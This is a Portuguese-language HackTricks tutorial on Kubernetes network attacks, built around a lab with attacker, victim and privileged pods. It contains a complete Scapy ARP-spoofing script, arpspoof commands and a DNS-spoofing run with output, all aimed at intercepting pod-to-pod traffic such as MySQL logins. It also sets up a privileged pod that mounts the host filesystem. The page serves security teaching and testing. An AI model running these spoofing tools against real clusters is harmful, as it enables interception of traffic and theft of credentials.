Kubernetes Network Attacks

Apoie o HackTricks

Introdução

No Kubernetes, é observado que um comportamento padrão permite o estabelecimento de conexões entre todos os containers que residem no mesmo nó. Isso ocorre independentemente das distinções de namespace. Essa conectividade se estende até a Camada 2 (Ethernet). Consequentemente, essa configuração expõe potencialmente o sistema a vulnerabilidades. Especificamente, abre a possibilidade para um container malicioso executar um ataque de ARP spoofing contra outros containers situados no mesmo nó. Durante esse tipo de ataque, o container malicioso pode interceptar ou modificar enganosamente o tráfego de rede destinado a outros containers.

Os ataques de ARP spoofing envolvem o atacante enviando mensagens ARP falsificadas (Protocolo de Resolução de Endereços) em uma rede local. Isso resulta na associação do endereço MAC do atacante com o endereço IP de um computador ou servidor legítimo na rede. Após a execução bem-sucedida desse tipo de ataque, o atacante pode interceptar, modificar ou até mesmo interromper dados em trânsito. O ataque é executado na Camada 2 do modelo OSI, razão pela qual a conectividade padrão no Kubernetes nessa camada levanta preocupações de segurança.

No cenário, serão criadas 4 máquinas:

  • ubuntu-pe: Máquina privilegiada para escapar para o nó e verificar métricas (não necessário para o ataque)

  • ubuntu-attack: Container malicioso no namespace padrão

  • ubuntu-victim: Máquina vítima no namespace kube-system

  • mysql: Máquina vítima no namespace padrão

echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

Rede Básica do Kubernetes

Se desejar mais detalhes sobre os tópicos de rede introduzidos aqui, consulte as referências.

ARP

Em termos gerais, a rede de pod para pod dentro do nó está disponível por meio de uma ponte que conecta todos os pods. Essa ponte é chamada de "cbr0" (alguns plugins de rede instalarão sua própria ponte). O cbr0 também pode lidar com a resolução ARP (Protocolo de Resolução de Endereços). Quando um pacote de entrada chega ao cbr0, ele pode resolver o endereço MAC de destino usando ARP.

Isso implica que, por padrão, cada pod em execução no mesmo nó será capaz de comunicar-se com qualquer outro pod no mesmo nó (independentemente do namespace) no nível Ethernet (camada 2).

Portanto, é possível realizar ataques de ARP Spoofing entre pods no mesmo nó.

DNS

Em ambientes Kubernetes, você geralmente encontrará 1 (ou mais) serviços DNS em execução geralmente no namespace kube-system:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

No informação anterior, você pode ver algo interessante, o IP do serviço é 10.96.0.10 mas o IP do pod executando o serviço é 172.17.0.2.

Se você verificar o endereço DNS dentro de qualquer pod, você encontrará algo assim:

cat /etc/resolv.conf
nameserver 10.96.0.10

No entanto, o pod não sabe como chegar a esse endereço porque a faixa do pod neste caso é 172.17.0.10/26.

Portanto, o pod enviará as solicitações de DNS para o endereço 10.96.0.10 que será traduzido pelo cbr0 para 172.17.0.2.

Isso significa que uma solicitação de DNS de um pod sempre passará pela ponte para traduzir o IP de serviço para o IP de destino, mesmo que o servidor DNS esteja na mesma sub-rede que o pod.

Sabendo disso, e sabendo que ataques ARP são possíveis, um pod em um nó será capaz de interceptar o tráfego entre cada pod na sub-rede e a ponte e modificar as respostas de DNS do servidor DNS (DNS Spoofing).

Além disso, se o servidor DNS estiver no mesmo nó que o atacante, o atacante pode interceptar todas as solicitações de DNS de qualquer pod no cluster (entre o servidor DNS e a ponte) e modificar as respostas.

ARP Spoofing em pods no mesmo Nó

Nosso objetivo é roubar pelo menos a comunicação do ubuntu-vítima para o mysql.

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS Spoofing

Como já mencionado, se você comprometer um pod no mesmo nó do pod do servidor DNS, você pode fazer MitM com ARPSpoofing na ponte e no pod DNS e modificar todas as respostas DNS.

Você tem uma ferramenta e um tutorial muito bons para testar isso em https://github.com/danielsagi/kube-dnsspoof/

Em nosso cenário, baixe a ferramenta no pod do atacante e crie um **arquivo chamado hosts ** com os domínios que você deseja falsificar, como:

cat hosts
google.com. 1.1.1.1

Realize o ataque à máquina ubuntu-vítima:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

Se você tentar criar seu próprio script de DNS spoofing, se você apenas modificar a resposta DNS isso não vai funcionar, porque a resposta terá um IP de origem o endereço IP do pod malicioso e não será aceito. Você precisa gerar um novo pacote DNS com o IP de origem do DNS para onde a vítima enviou a solicitação DNS (algo como 172.16.0.2, não 10.96.0.10, esse é o IP do serviço de DNS do K8s e não o IP do servidor DNS, mais sobre isso na introdução).

Capturando Tráfego

A ferramenta Mizu é um visualizador de tráfego de API simples, mas poderoso, para Kubernetes, permitindo que você visualize toda a comunicação da API entre microsserviços para ajudar na depuração e solução de regressões. Ela instalará agentes nos pods selecionados, coletará suas informações de tráfego e mostrará em um servidor web. No entanto, você precisará de permissões elevadas no K8s para isso (e não é muito furtivo).

Referências

Suporte ao HackTricks

Last updated